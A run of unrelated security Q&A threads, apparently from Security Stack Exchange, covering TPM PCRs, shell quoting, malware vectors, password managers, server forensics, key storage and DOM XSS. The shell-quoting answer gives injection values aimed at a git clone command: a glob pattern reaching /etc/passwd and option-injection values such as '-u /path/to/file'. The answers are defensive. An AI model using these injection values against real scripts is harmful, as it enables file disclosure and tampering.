Which PCR we can extend by using our own code? As there are 24 PCR's in TPM 1.2 specification. Some of these PCRs are reserved and cannot be extended by user's code. Below are the PCR Index with their usage:

0 - CRTM, BIOS and Platform Extensions
1 - Platform Configuration
2 - Option ROM Code
3 - Option ROM Configuration and Data
4 - IPL Code (MBR Information and Bootloader Stage 1)
5 - IPL Code and Configuration Data (for use by IPL Code)
6 - State Transition and Wake Events
7 - Reserved for future usage. Do not use.
8 - Bootloader Stage 2 Part 1
9 - Bootloader Stage 2 Part 2
10 - Not in Use.
11 - Not in Use.
12 - Bootloader Command line Arguments
13 - Files checked via check-file routine
14 - Files which are actually loaded (e.g. Linux kernel, initrd, modules..)
15 - Not in Use.
16 - Not in Use.
17 - DRTM
18 to 23. Not in Use.

What I understood that a user can extend all the PCR's which are not in use? Is this correct? I asked this question Because I have written my own code to extend PCR's (by following https://www.cylab.cmu.edu/tiw/slides/challener-handout.pdf)  and it turns out that i can extend all the PCR's except from PCR 17 to PCR 22. And my understanding was that I can only extend few and especially cannot play with the lower ones from PCR 0 to PCR 7.

Your help is highly appreciated! I can send the code as well if required!

Short story

You can extend all of them, but it depends on the context. To understand what I mean by context we need to talk about the concept of Localities. Briefly, you can see this as some form of trust domains. By default, you're in Locality 0.

I don't see why you would need to do this but to extend all PCRs, you need to be in Locality 2. In other words, you need to load a trusted OS/MLE (an OS you wish to trust) using DRTM.

Long story

SRTM, i.e. PCRs 0-15 cannot be reset (except at boot) but they can always be extended (Locality 0 is required which, as I said earlier, is the default locality).

For DRTM, i.e. 17-22, it's a bit more complex. I'll describe it a little but the real matrix you should see is right here section 7.2.

Locality 4 is controlled by hardware/microcode so you can really see it as the root of DRTM/TXT. It's used to reset PCRs 17-20 and send the measurement of SINIT ACM (Authenticated Code Module) in PCR 17. You don't get to run code in locality 4, only TXT instructions does but you get to launch this process using the SENTER instructions.
Locality 3 refers to SINIT ACM which is responsible to validate some security settings referring to DRTM (ACPI/DMAR tables, e.g. for DMA protection), and send the measurement of the Measured Launch Environment (MLE) in PCR 18. Again, you don't get access to this locality, only SINIT does (Intel's code).
Locality 2 is for the runtime of the MLE. It can reset 20-22 and extend all PCRs. Here's where you get to run your code (whatever you decided to be your trusted OS).
Locality 1 is general purpose for the MLE.

As you can see , the different Locality level are used by DRTM to create some sort of staged trust levels.


What does an unquoted shell variable allow? I have the following dash (dash is the default Ubuntu shell instead of bash) code which run in a server side script. This script is not run by the root user.

git clone -b $DEFAULT_BRANCH file://$target $target

Where$targetis completely sanitized with\but not$DEFAULT_BRANCH. I have full control of$DEFAULT_BRANCHas long as it is a valid git branch name, which mean it :

needs to start withrefs/;
does not contains ASCII characters in the range 0–32 (so no spaces);
does not contain @ or .. (but it can contain $()\|<>[]{}/*#!?);
’s length is lesser than 65535-4.
the branch file can only contains a 40 bytes base64 sha1

Things I thought about so far:

I can’t glob since paths needs to start with refs/ and it can’t contain ...
Expand the command line list twice.
Result:$* stay$*even without quotes.

So is the design choice of not sanitizing and quoting$DEFAULT_BRANCHharmless?

In general, $DEFAULT_BRANCH (with no surrounding quotes) is the “split+glob” operator. What it does is:

Take the value of the variable DEFAULT_BRANCH (or the empty string if the variable is unset). This is a string.
Split the string at each whitespace sequence (assuming the default value of IFS). This produces a list of strings.
For every element in the list, if it contains a wildcard character (at least one of \*?) then it is interpreted as a wildcard pattern (glob) and replaced by the list of matching file names. If there are no wildcards or if there are no matches, the element is unchanged. Thus the result is a list of strings (that is at least as long as the previous one).

Contrast with "$DEFAULT_BRANCH" (variable expansion in double quotes), which expands to the value of the variable DEFAULT_BRANCH, plain and simple.

If the value of the variable DEFAULT_BRANCH does not contains any whitespace or any of the characters \[*?, and the IFS variable is set to its default value, then $DEFAULT_BRANCH expands to the value of DEFAULT_BRANCH.

Provided that you've sanitized the value of the variable to contain only safe characters, and that you're sure that IFS hasn't been changed, leaving the variable unquoted is correct.

If the value of DEFAULT_BRANCH can contain wildcards then it's another story — your assertion that you “can't glob” does not follow. For example, the leading refs/ prefix and the ban from .. does not imply that refs/.[.]/.[.]/.[.]/.[.]/etc/passwd is banned. If you don't block wildcards, DEFAULT_BRANCH could refer to an arbitrary file. If your filter is git check-ref-format, it does block wildcards; I think it makes an unquoted $DEFAULT_BRANCH unexploitable.

In any case, leaving a variable unquoted is never harmless. Every time you see an unquoted variable, you need to worry about what makes it safe to leave it unquoted. This is a lot more expensive than writing those double quote characters in the first place. So any variable substitution (or command substitution, same thing) that's left unquoted without a clear need should be reported as a finding and gear your overall evaluation towards judgint the code as sloppy.

Note that there is another gotcha: leading dashes. A leading - in the argument to a command, in many contexts, causes the argument to be interpreted as an option. This can result in the command executing arbitrary code instead of processing a file. To protect against this, put any argument that comes from a variable after --, which means “stop processing options (and accept only operand arguments) from that point”. For example, if myfile has the value -mfoo, then file -i "$myfile" analyses its standard input based on the magic database file foo, whereas file -i -- "$myfile" analyses the file called -mfoo based on the default magic database.

In Security implications of forgetting to quote a variable in bash/POSIX shells, Stéphane Chazelas gives examples of exploits on scripts that don't properly.

In your case, git clone -b $DEFAULT_BRANCH file://$target $target is unsafe, both with respect to DEFAULT_BRANCH and with respect to target.  How exploitable this is depends on what files are present in the system (I don't know what means you have of injecting them).

You say that DEFAULT_BRANCH has to start with refs/ and can't contain spaces, but can contain wildcard characters. Since it starts with refs/, option injection with a dash is impossible — even with wildcards, all matches will start with refs/. You might end up running git clone with more operands than it can cope with, which would result in an error. If you're able to create a directory called refs and a symbolic link inside it, then you may be able to enumerate files on the system, but I don't think you'll be able to read them as git clone will just stop and complain about extra arguments.

If DEFAULT_BRANCH could start with - then you could probably overwrite arbitrary files with values like -u /path/to/file and possibly even run arbitrary commands through --config=… (I'm not completely sure about that, clone isn't hook-rich).

As for target, apparently, it can start with -, so you can pass options that way. Try values of the form -option=badvalue/path/to/file: the part up to the first slash is effectively ignored in file://$target, which lets you specify an option with a value that ends in a valid path to a file. More options may be possible if you can inject files and craft an appropriate wildcard pattern.

You say that “$target is completely sanitized with \”. I don't know what you mean by that; it's impossible to “sanitize” a variable by adding backslashes to a value. Backslashes are only expanded in an unquoted expansion of there is at least one wildcard character. For example, \bar is expanded to \bar, not bar; only something like \*z becomes *z. The only way to protect a variable against expansion mishaps is to double-quote its use, you can't prepare for an unquoted expansion by massaging the value unless you make restrictive assumptions about what the value was in the first place.


Is testing for all executables without considering any files in the system is enough for deducing whether the system is infected with malware? I came to know that the malicious activities will be carried out only by a software(program) whereas the malicious files(data to the softwares installed in the system) can't perform the malicious activities directly by themselves but they can responsible for bringing those malicious softwares to the system( say like steganography).Hence those softwares also must be installed ( automatically or manually) before performing their activity.

If this is true scanning for malware in softwares before they get installed( triggered manually or automatically) is enough to say that the system is 100% secure(considering that our detector is ideally 100%accurate)?

There are many, many things that are not "executables" in the usual sense but could still carry / deliver malware. Here are just a few:

Any kind of script, ranging from a batch file (.bat) on Windows to an NPM module.
Any shortcut (.lnk) or desktop (.desktop) file.
File formats with built-in programmability that can interact with the OS, such as MS Office documents that support macros (.doc / .docm / .xlsm / etc.).
Any library file (.dll / .so), which contains executable code but is not itself executable as a program (no main method).
Literally any file, regardless of extension, that contains an executable and has the execute permission (if invoked directly, such as from a shell).
Any archive file (.zip / .tar / etc.) that contains one of the above.

That's without even considering exploits, such as URIs that compromise a handler program, PDFs or HTML with JS that can break out of the sandbox, file-sharing programs with path traversal bugs that could be used to deliver malicious files to places you don't expect them, listening sockets (servers) that can't handle malicious packets, or so on. Then there's risks such as a malicious (or compromised) OS, malicious firmware, malicious hardware, and so on.

Again, this list is just the stuff off the top of my head and is NOT comprehensive. There is literally no way to say that a machine is 100% secure, and even if you had a magical virus scanner with 100% accuracy, and could scan literally every file on the disk (not just the executables), it still wouldn't be enough.


Is MasterPasswords password generation method good? I've just discovered the open source project MasterPassword. It generates a password per site based on name, master password, site and counter. So you need to know your name and the master password to get access.

I like the idea behind this project. Based on this question, I feel like this would improve security, because there is absolutely no data stored in the cloud.

Am I wrong? What speaks against it?

These "stateless" password solutions all have the same general structure:

There's a master password that you memorize, and input into the program when you need to use it.
The program derives a master cryptographic key from your master password.
The program prompts you for some set of site and account metadata that describes each site or service you use.
Using the master key and metadata, the program uses a pseudorandom function to generate a site password in a way that's both pseudorandom and repeatable.

The problem with these programs is that they falsely advertise themselves as being more secure than plain old encrypted password managers like KeePass, 1Password or LastPass.  In this case, the page of the program you ask about says this:

  Master Password is not a password manager. It does not store your website passwords. Therefore, there is zero risk of you losing your website passwords (or them falling in the wrong hands).

And later down:

  You don't need to worry about your password manager website getting hacked, your phone getting duplicated, somebody taking a picture of your passwords book - Master Password stores no secrets.

But a more accurate statement would be this:

With a password manager, an attacker has to steal your encrypted database and guess your master password to recover your site passwords.
With their program, there's no "steal the encrypted database" step; all that an attacker needs to do is guess your master password and the account metadata.

So the reason they claim they are more secure than a password manager, turns out, is actually the reason they are less secure than a password manager.  Ooops.


Can you, with 100% certainty, guarantee the source location of a cyber attack? There have been reports that American technology and cyber security experts have claimed that Russia is behind the recent cyber attacks on the United States, notably those aimed at influencing the current U.S. presidential election.

Can these experts make these claims with 100% certainty? Why or why not?

Can these experts make these claims with 100% certainty? Why or why not?

You can almost never prove anything 100%, but for all intents and purposes you can be quite certain. Can we know for sure the Shadow Brokers leak was legit? No, but we can conclude any other option would be highly impractical.

But the American government is not providing that level of proof for the situation you mention. I have yet to see a shred of technical evidence of this particular statement.

Say, the american government suspects someone of hacking a presidential candidate. They could probably easily compromise their node with tools from the intelligence community. This would provide proof, and it would make all the bellicose rhetoric sound a lot less insane.

As far as i can tell, the most solid reasoning in this case is:

  “We believe, based on the scope and sensitivity of these efforts, that only Russia’s senior-most officials could have authorized these activities,”
  -James Clapper


Is it okay/safe to mention/display information about the example format of user Login ID on the website? Is it okay/safe to mention/display information about the example format of user Login ID (aka Username) on the website?
Will this become a source of information for hackers to figure out the Login ID format?

The short answer is that yes, an attacker would benefit from knowing the format of your usernames if they are going to attempt to launch an online guessing attack of likely username/password pairs against your system.  But this may not be a risk you should worry about.

The long answer is that you need to judge the value this practice provides you against the risk.  Our industry has generally embraced the idea that while usernames should not be easily disclosed to attackers, knowledge of a username alone should not grant access to user accounts.  Accounts should primarily be protected by a password or other authentication factors. There is a faction that believes the username should be more secretive to further decrease risk, but this idea hasn't been embraced by most system owners.

So by disclosing the format of usernames you are merely giving an attacker seeking that knowledge a slight advantage.  They still have to take the info that usernames are in a certain format and apply it to their guessing process.  Hopefully the username format itself isn't risky (e.g. not 'user1', 'user2', etc.) and you aren't trying to obscure that fact to avoid attacks against it.

Presumably you ask because you or someone else sees a benefit in publishing this information on your site to begin with.  Whether it's to help users through the account creation process or something similar, you may need to communicate your standard to them.  If not, then you can easily decide to remove this info from your site.  But if so, you should weigh this benefit against the low risk incurred from the practice and decide if it is worth it.

I see similarities between this and disclosing your password policy.  Yes, knowing passwords must contain uppercase, lowercase, and numeric characters can help attackers.  But it doesn't tend to help them very much.

Personally, I wouldn't worry about disclosing the username format.


Wiping data during full disk encryption on an SSD When installing Linux, most distros offer or force full disk encryption with LUKS. Some distros, such as Debian, by default wipe data before conducting the encryption. Is this effective on SSDs, and if not, what are the alternatives?

It may not be fully effective due to the disk levelling that takes place. This distributes writes across the whole address space of the disk to reduce wear.

However, there is a standard process called "ATA Secure Erase". I also think that SSD's with NVMe interfaces have a command to securely wipe as well. Microsoft have a tool for their Surface Pro devices that use this. I don't know whether those are good enough for really sensitive data though.

But, you should note that the US DoD do not accept any methods for secure erasure other than physical destruction of the drive I think. Though Blancco offer a product that suggests otherwise so I may be mistaken. If the SSD contains sensitive information, you should look for a certified product. Check the DoD and NIST web sites for the latest information.


Server compromised for 2nd time, cannot locate source of attack I need some help tracing a vulnerability on my server. For the second time, my server has been compromised with files being replaced with virus-ridden downloads.

According to the filesystem dates, over a period of 45 minutes 4 exe files on my server were replaced with renamed versions of the same virus.

My web server is running Ubuntu 10.4.3 LTS with kernel version 2.6.32-31-generic, kept completely patched and up to date.

The only way of accessing the shell is via SSH and a password-protected private key that I have with me on a USB stick. Password SSH login is disabled and the server logs (which I know can be modified, but I have good reason to believe they haven't) indicate that SSH was not used to log into the server.

The web serving software stack is very complicated. There's PHP (5.3.3-1) w/ Suhosin v0.9.29, nginx 1.0.9 (now updated to 1.0.10), Tomcat (in a jail and I suspect not associated), and MySQL 5.1.41.

I admit that at the time of the first attack, I had been content to blithely chmod -R 777 my web directory for headache-mitigation purposes. Now I run a complete mess of PHP scripts including but not limited to WordPress, vBulletin, and several homemade products; the first two of which are always up to date and the latter has been written with fairly great care to escape or normalize any user-inputted values.

Given the weak file permissions but strongly-locked down server access, I was highly tempted to suspect a vulnerability in one of the many PHP scripts that allowed the execution of random code.

I have since completely locked down the file permissions. nginx/php both run as www-data:www-data with all files given only execute and read permissions (chmod -R 550 /var/www).

Yet today, after all this, my server was again compromised.

The thing is, the files that were replaced still have 550 permissions, the SSH logs indicate no log in, and I'm completely lost as to what to do or try next.

I tried to recreate the attack on the paths that were replaced with a very basic PHP script:

$file = fopen('/var/www/mysite.com/path/to/file', 'w');
fwrite($file, 'test');
fclose($file)

But that gave me the appropriate permissions denied error.

Can anyone please, please advise me where to look next for the source of this vulnerability? Am I missing something with my file permissions?

I know that server, once compromised, is pretty much "gone" forever. But that's not really an option here. I've recursively grepped my entire /var/log folder for the afflicted file names hoping to find something, but nothing came up.

I also searched for any scripts in the cron folder or elsewhere that might have been placed at the time of the first attack to attack again at a later date, but (a) found nothing, and (b) shouldn't find anything as the files in /etc/ are not modifiable by www-data (assuming a nginx/PHP point of infiltration).

I should add that both times I have grep'd the nginx access logs (combined style) for the names of the infected files, but found nothing. I do understand/realize that many ways of obscuring the file names from my greps exist, however.

Some techniques for trying to find how your attacker got in:

Look at the timestamps on any files you know the attacker changed then look through all your logs for entries as close to each timestamp as possible.  As others have said, the web access logs and web error logs are the most likely to hold the evidence of the original attack vector but other log files may hold clues as well.  Error logs often hold the best clues.  The logs of all network-accessible daemons are also good places to look.
It may also be worthwhile looking for other files with timestamps close to the ones you know.  /etc/passwd is an obvious one but even log files can be suspicious if they have an unusual timestamp.  If logrotate runs at the same time every day and one of your log files has a timestamp that doesn't match this time, it was probably altered to cover his tracks, and now you know a little more about what he did.  Don't forget the .bash_history files in user's home directories.  the find command should be able to handle this for you.
Run scalp over your web access logs.  The original attack may have happened some time before the files appeared.  Scalp will produce false positives but it should narrow down the potential suspect log entries for you to manually analyse for irregularities.  It may also miss the attack entirely - it's not perfect - but it may help.

Don't spend too much time on forensics in the compromised system.  As others have noted, the attacker has had the opportunity to remove all evidence of the original attack and to add a rootkit to hide his continued presence. If he has missed something or if he has not even tried, the above tasks may work but if he has hidden himself well then you would be just wasting valuable time.

If you fail to find the source of the attack, wipe and re-install the server in question but with some additions in order to catch him next time.

Ship your logs off to a different server using some variant of syslog.  (rsyslog and syslog-ng are the recommended choices)  Preferably, this server should do nothing but receive logs and should not share login keys or passwords with any other server.  The goal is to make sure your logs cannot be tampered with or deleted.
Add extra logging beyond the default.  Jeff already mentioned AppArmor and since you are using Ubuntu this will probably be the best choice.  Make sure its logs are sent to the logging box.
Install and turn on the audit daemon.  Make sure its logs are sent to the logging box.
Run an IDS such as Snort, PHP-IDS or mod_security. (or more than one, these tool don't all do exactly the same job)  Some hardware firewalls come with IDS/IPS modules.  Make sure the logs from the IDS are sent to the logging box.
Add a file integrity monitoring system such as AIDE or Tripwire.  Make sure the logs from these tools are sent to the logging box.
Monitor your logs.  Falling short of a commercial SIEM system, something like Splunk can be installed for free and can analyse a limited quantity of logs.  Set up rules to match what is normal for your servers and filter them out.  Whatever is left is worthy of closer inspection.

There is much more you can do if you have the time and the money, such as full network packet captures, but realistically this is about all a lone sysadmin can be expected to handle. If the attacker shows up again, you will be much more likely to find the attack vector and much more likely to detect him as soon as the attack is made.


How does Windows/IIS keep a certificate protected or should I never run Apache Webserver on a Windows server? If I follow the reasoning of a colleague it seems you should never run Apache Webserver or Tomcat on a Windows server if you want to keep the https certificate safe.

Let me explain before this question evolves into a Windows vs Linux troll battle.

For example when using Apache Tomcat for a https website the private key is stored in a keystore. For Tomcat to be able to use this key we have three options:

Not use password on keystore;
Keystore password needs to be entered when starting Tomcat service;
Keystore password is set in plain text in a config file.

Using option 3 seems the most practiced. But anyone with access to this file and the keystore is able to extract the private key. Obviously you can filesystem protect the keystore and config file. It seems though that linux offers more options to separate access to those files for different processes. This reasoning led to the conclusion I started with.

I am not familiar with how Windows or IIS handle this, but expect this works somehow similar under the hood. My problem is I don't know for sure. How is IIS able to use the certificate in Windows if no one enters it's password? Or is just stored in the registry instead of a config file? And is setting high certificate security equal to option 2?

Could anyone explain to me how this works?

Btw. I am not interested in HSM. For now I am keen on knowing if and how Windows/IIS protects a certificate or private key not using option 3.

I have searched, but could not find conclusive answers. I have browsed 30 pages tagged with "certificates" and used google. I find it hard to distill a definitive answer from them. Below I mention the sources I found of some help. I really hope you can help me or point me to the right source.

Security on stackExchange:

How secure is my private key in the Windows Digital Certificate
store?
How should I store SSL keys on the server?
How to store a private RSA key for an application?
What are some good design practices for cross-platform certificate
storage?

Microsoft:

[TechNet blog] What is a strong key protection in Windows?
[TechNet, EFS] How Private Keys Are Stored

Various sites:

[ServerFault] How to manage a web servers SSL private key protection
(password vs. no password)?
[CodingHorror] Keeping Private Keys Private
[SecurityInnovation] How to Test for Insecure Key Store
Vulnerabilities
[RootSecurity] How to export “non-exportable” certificates from the
Microsoft Certificate Store
[Symantec] How Attackers Steal Private Keys from Digital Certificates

A generic remark is the following: if you can reboot the machine, and the server becomes operational again automatically, without any further human intervention, then, by definition, the machine disk contents contain everything that the machine needs to access the private key. Correspondingly, someone gaining full access to the machine (as "root" on Linux, "Administrator" on Windows) will be able to recover the private key as well.

On Windows, software-based private keys are stored in the DPAPI. To make the story short, the private key is linked to an account (the machine's own account for the "Local Machine" store) and the protection ultimately relies on encryption using the account's password as key. For an IIS which starts automatically, the corresponding password must be written somewhere in the entrails of the system. There can be layers of encryption and indirection, but it can be unravelled by anybody with sufficient rights. See this answer for pointers as to how to do that practically.

Also, if someone gains administrative privileges on the live machine, then he can just attach to the running Web server process and plunder its RAM contents directly, with ReadProcessMemory().

So any protection will be, ultimately, relative to how well the operating system will prevent unauthorized users from gaining administrator privileges. From that point of view, there is not much difference between Apache/Tomcat and IIS: you could store the private key for Apache in a file and set some ACL to make this file readable only from the specific user who will run Apache. People with administrative rights will be able to bypass that, but, as explained above, they can do anything on the machine.

Now there can be quantitative subtleties. Down to the core of the machine, there is the kernel; kernel code, by definition, is God. It can read and write all the RAM, access all the hardware. The kernel is also the gatekeeper who decides who can do what. In the view of the kernel, each applicative code runs with a set of privileges, which describe exactly what the code can do. Some privileges are god-equivalent, meaning that a process which has that privilege can arrange, more or less directly, for obtaining the same power as the kernel. In a traditional Linux system, any root process is god-equivalent, since root can create and load kernel modules, i.e. custom code right into the kernel itself. By transitivity, any process who can take control of a process with god-equivalent privileges is also god-equivalent.

God-equivalent processes are juicy targets for attackers. There more such process there are, the more probable it becomes that one of them has an exploitable vulnerability that will allow the attacker to achieve godhood. Thus, reducing the size and scope of god-equivalent process may help in increasing practical security. There will still be, deep in the machine, some god-equivalent code (if only the kernel itself), but fine tuning may help keeping that code small.

Linux and Windows, by default, are roughly equivalent in that respect (a lot of process which run as root / System account), but offer different tools to trim that down. On Linux you would play with chroot and, more generically, SELinux. On Windows you can do a lot of tuning and restricting with Group Policies. In both cases it is quite easy to lock yourself out, so take care.

Summary: There is nothing wrong with Apache/Tomcat on Windows. Protections applied on private keys as used by IIS are not qualitatively different, or stronger, than access rights on files. A good sysadmin will achieve a similar security level in both cases, on the same machine.

In any case you would be well advised not to let any unprivileged user run arbitrary code on servers with sensitive data. Experience shows that when attackers are allowed to run unprivileged code locally, the number of exploitable holes raises sharply.


"Green is good" and related security advice From Citizen's bank login page:

  Should my browser address bar have a "green" indicator when I use Online Banking?

  Yes. As an added measure, Online Banking gives you the capability to easily verify that you are on the authentic Citizens Bank website and not on a fake site created by fraudsters. Just look for the green bar (or some variation of it) in your browser address. The green bar should remind you that "green is good" and that our website has passed a sophisticated authentication process, letting you know you are good to go.

This seems heavily overstated to me.  Isn't it trivial to get an HTTPS certificate?  If so, is this just terrible advice, or am I missing something and is this in fact good advice?

(Do all browsers show the name of the entity that the certificate is issued to? If so, could the advice be amended to say "look for the name Citizen's Bank" in the green section of the adress bar"?)

Isn't it trivial to get an HTTPS certificate?

Yes

  If so, is this just terrible advice, or am I missing something and is this in fact good advice?

Most phishing pages (hosted in compromised sites) are served under http, so asking the user to verify that the page is https does help somewhat to avoid phishing.

Moreover, what they call the "green bar" is probably the indicator of an Extended Validation certificate, offered by some CAs, which are harder (both in money and in requisites) to obtain. In which case the browsers will show (in some format) the name of the entity to which it was issued.

It's arguable how much the trick of looking for https: would help, given that those are often urls that would not pass even the most basic check, eg. http://woodenchairs.freehosting/wp-includes/yourbank.com/updateyourcreditcard

In my opinion the bank is trying to simplify his recommendations at maximum, hoping that even their most dumb customers may remember that "green is good" idea.

The main problem for them is that their customers actually don't need to remember that "it is good that it is shown in green" but that "it is not good that the green bar is not shown", and reacting on missing indicators is quite harder.

It is nonetheless a terrible advice, as the fact that a page is https (letters shown in green under Chrome, btw) only means that the communication with the other side is secure. Not that the other side won't make bad use of that.


When I receive data in this scenario, how many times is it encrypted? Right now I'm using a Web browser under the following circumstances:

I am making this post over HTTPS
I am connected to a password-protected Wi-Fi network with WPA/WPA2, EAP-PEAP, and MSCHAPV2 security
I am using the Private Internet Access VPN

When I ask for a web page under these conditions, how many times does my computer have to decrypt it?  I'm assuming three?  One for HTTPS, one for the wireless router, one for the VPN.  While we're at it, what factors would change the number of times that incoming data has to be decrypted?

When using HTTPS, only the contents of the requests and responses are encrypted. The size of each message, the hostname of the web site you are visiting, and the fact that you are using HTTPS are not kept secret. If you use HTTPS over a VPN, the hostname and protocol are encrypted, but the message size can still be observed.

The traffic over a WPA2 WiFi is indeed encrypted, but it can be read by other people on the network that have the WiFi password.

So while the request content may be encrypted three times, this does not really provide "three times the security". It depends on what you are trying to hide from whom.


Is this code vulnerable to dom based XSS? Is this code vulnerable to DOM based XSS?

The application is using jQuery 3.3.1 and i noticed that Data is read from

window.location.hash and passed to $() via the following statements:

var hash = window.location.hash.substring(1);
var elem = $('#reports_nav_links .' + hash);

The link I have is something like /graph#injection-point

Every parameter I insert after the hash symbol gives the following error in browser console:

Error: Syntax error, unrecognized expression: #reports_nav_links .injection-point

What payload could I use to trigger an alert box or execute any JS code? Is this code vulnerable or 100% safe?

The snippet that you pasted above is not vulnerable to the jQuery XSS vulnerability that you probably have in mind (Bug #9521) since it does not affect version 3.3.1. The jQuery selector bug was fixed in version 1.7.


Reply from “nsa.gov” while pinging “gen.lib.rus.ec” Running ping gen.lib.rus.ec (a Library Genesis server) returns this output:

PING gen.lib.rus.ec (91.200.14.96) 56(84) bytes of data
64 bytes from nsa.gov (91.200.14.96): icmp_seq=1 ttl=57 time=69.1 ms

Why nsa.gov?

It is a joke :)

What you are seeing is the PTR record for 96.14.200.91.in-addr.arpa, otherwise known as the reverse dns for ip 91.200.14.96.

The reverse records for ip-adresses are delegated to the owners, and they can set the response to be whatever they like.

If you run the command: dig -t PTR +trace 96.14.200.91.in-addr.arpa, you can see which nameserver that have configured the PTR/Reverse DNS-record.

The output is truncated for readability:

14.200.91.in-addr.arpa. 172800  IN  NS  ns1.vhoster.net.
14.200.91.in-addr.arpa. 172800  IN  NS  ns2.vhoster.net.
14.200.91.in-addr.arpa. 3600    IN  NSEC    140.200.91.in-addr.arpa. NS RRSIG NSEC
14.200.91.in-addr.arpa. 3600    IN  RRSIG   NSEC 8 5 3600 20180518163550 20180418153550 23854 91.in-addr.arpa. SZdra/lg7c9+Arxp2hgfd3DvB2T0KMmxfSm6rzsGtLbuGPc5PEnYZPI7 qP5qoqpNXQXbNYxBKIKZn/3Q3ijPSoZZhbr83ABf9SLjuVswvSY1Wrrr dzu7bbLWxjIKe6U7tN+57LqgfY71dHVO8chaZAHwoj0JAxBnVbiLqUvD E5Y=
;; Received 321 bytes from 193.0.9.5#53(pri.authdns.ripe.net) in 10 ms

96.14.200.91.in-addr.arpa. 3600 IN  PTR nsa.gov.
14.200.91.in-addr.arpa. 3600    IN  NS  ns2.vhoster.net.
14.200.91.in-addr.arpa. 3600    IN  NS  ns1.vhoster.net.
;; Received 122 bytes from 91.200.14.2#53(ns1.vhoster.net) in 47 ms

As you can see, the answer is coming ns1.vhoster.net, which is responsible for the PTR-record for 91.200.14.96.

There are many other interesting reverse records in the 91.200.14.0/24 range:

12.14.200.91.in-addr.arpa domain name pointer disney.com.
61.14.200.91.in-addr.arpa domain name pointer bot.4.
251.14.200.91.in-addr.arpa domain name pointer whitehouse.gov.

Check all of them here

Can this be a security problem? Yes, potentially. If the reverse-dns is not threated as untrusted input, it can lead to different problems.

If an application only log connections based on PTR-records instead
of IP-address, you lose traceability.
If the reverse-dns is used as part of an SQL-command, it might be used
to conduct an sql-injection attack.
If used in HTML-documents, unsanitized PTR-records can be used for
HTML-injection/XSS attacks.


Password same-account indicators on websites I am creating a user system which will be used across multiple websites without the use of SSO (the extra hassle really isn't worth it at the minute).

I am looking at ways of telling users that they can use their X Network username/password details on our specific websites.

However - one interesting point I've thought is that are these essentially a sign of a false sense of security?

For example - Say you are logging into to "Website A" and you see the "X Network" logo, so you know you can log in there.

Now for example, a Phisher sets up "Website P" and puts the "X Network" logo on it so people think it is a part of the X Network.

Are these more hassle than it's worth?

Is it just easier to let the user type their email in, and find out that way they have an account and then tell them where their account is probably from? Or even safer - logging where it was registered and telling them, or emailing them with the information on X failed login attempt(s).

Based on what you've stated, a few of your thoughts raise some security concerns:

What protocols are you using to build these 'trusts' between the web sites?  You should not be building your own cross-site authentication mechanisms. Is is never a good idea to create these mechanics yourself. From a security perspective it is very dangerous, unless you truly understand the implications and downfalls.
The concern you have about phishing is really not specific to the scenario you've described.  An attacker can always create a evil-copy-cat website that appears to be the legitimate site.
Unless you are using some method of secure access delegation (such as OAuth, or SSO), I would argue against encouraging users to use the same passwords between the different websites.  Best practice states not to reuse passwords and that password reuse weakens the overall security of the entire collection of websites.
Basic user account enumeration is an issue here. It also sounds like an attacker would be able to enter email addresses into one of the login pages and be able to see what other website the email is associated with.  If the attacker understands that the credentials between the associated websites are the same, then this makes it easy for the attacker to login to these websites by only compromising one of user's credentials.

I assume these websites are on a trusted internal company network.  If you can provide more details on why you are thinking of building something custom instead of implementing SSO then we may be able to provide a better answer.


Why do spammers send to random addresses in my domain? My mail server is set up so that every email to the domain comes to me.  One can email whatever_they_want@mydomain.com, and it will forward to me.

I often get spam to strange address.  Let's say, Bob_White@mydomain.com - just random names.  I get a lot of these, always to different names. On any other mail server, the invalid address would just bounce back to the spammer. So why am I getting spam to these addresses?

I can see at least two reasons.

The first is that spammers know that a number a people like you turn on catchall E-mail. So they are trying their luck.

Second, in addition to using know E-mail addresses, spammers will also fetch lists of domain names and try more or less random combinations. They will of course try info@domain.tld, sales@domain.tld, webmaster@domain.tld, etc but may also use common name/surname combinations. It's some sort of brute-force spamming.

The aim is to reach a maximum number of recipients.


Are there more modern password hashing methods than bcrypt and scrypt? This question made me start thinking about password hashing again. I currently use bcrypt (specifically py-bcrypt). I've heard a lot about PBKDF2, and scrypt.

What I'm wondering is if there are any "more modern" password hashing methods that I might not know about (because they're new, so people don't talk about them as much), or maybe other methods I don't know about.

And then going on from there, which one should I use? Most people seem to recommend bcrypt, but I wonder if that's just because it's old (read: well-known). scrypt seems better (variable amount of memory usage). I don't know much about PBKDF2.

So if I was making a user-management scheme, which of these should I use? Or should I use something completely different?

In cryptography, "new" is not synonymous to "good". That bcrypt is twelve years old (12 years... is that really "old" ?) just means that it sustained 12 years of public exposure and wide usage without being broken, so it must be quite robust. By definition, a "newer" method cannot boast as much. As a cryptographer, I would say that 12 years old is just about the right age, and anything younger than, say, 5 years, is definitely "too young" for general deployment (of course, these estimates depend on how much exposure the algorithm got; an early, wide deployment, although risky for those who decide to deploy, will go a long way toward building confidence in security -- or revealing weaknesses at an early stage).

Scrypt is much newer than bcrypt; it dates from 2009. The idea is quite smart. Namely, slow password processing is meant to make dictionary attacks N times more expensive for the attacker, while implying that normal processing is N' times more expensive for the honest systems. Ideally, N = N'; the scrypt author argues that with PBKDF2 or bcrypt, use of ASIC allow an attacker to get a N much lower than N' (in other words, the attacker can use specialized hardware, because he is interested only in breaking a password, and thus hashes many more passwords per second and per spent dollar than the honest system). To fix that, scrypt relies on an algorithm which requires quite some RAM, since fast access RAM is the specialty of the PC, and a sore point of ASIC design. To which extent scrypt is successful in that area remains to be measured; 2009 is recent times, and the figures given by the scrypt author are based on 130 nm ASIC technology and an hypothesis of "5 seconds worth of processing", which is quite beyond what the average user is ready to wait.

For practical usage now, I recommend bcrypt.

Scrypt notwithstanding, current research on the concept of password processing is more about specialized transforms that allow more than mere password verification. For instance, the SRP protocol allows for a cryptographic key agreement with mutual password-based authentication, and resilient to dictionary attacks (even in the case of an attacker actively impersonating the client or the server); this calls for a bit of mathematical structure, and the password-hashing in SRP involves modular exponentiation.


Should I prevent sending of GET requests for urls that are normally operated with POST request? There is an url that is normally operated using POST requests (i.e. POST request is sent when user submits form). But attacker can form GET request with parameters that are sent in POST request. This request will be approved by server and associated action will be done. I know that it's recommended not to allow GET requests to prevent CSRF attacks. But tokens should be submitted to make action executed.

Should urls that are normally operated using POST requests accept only POST requests?

If the transaction has any side effects, yes, you should set up your web server so it does not process those GET requests.  You should not allow any GET request to cause side effects on your server.

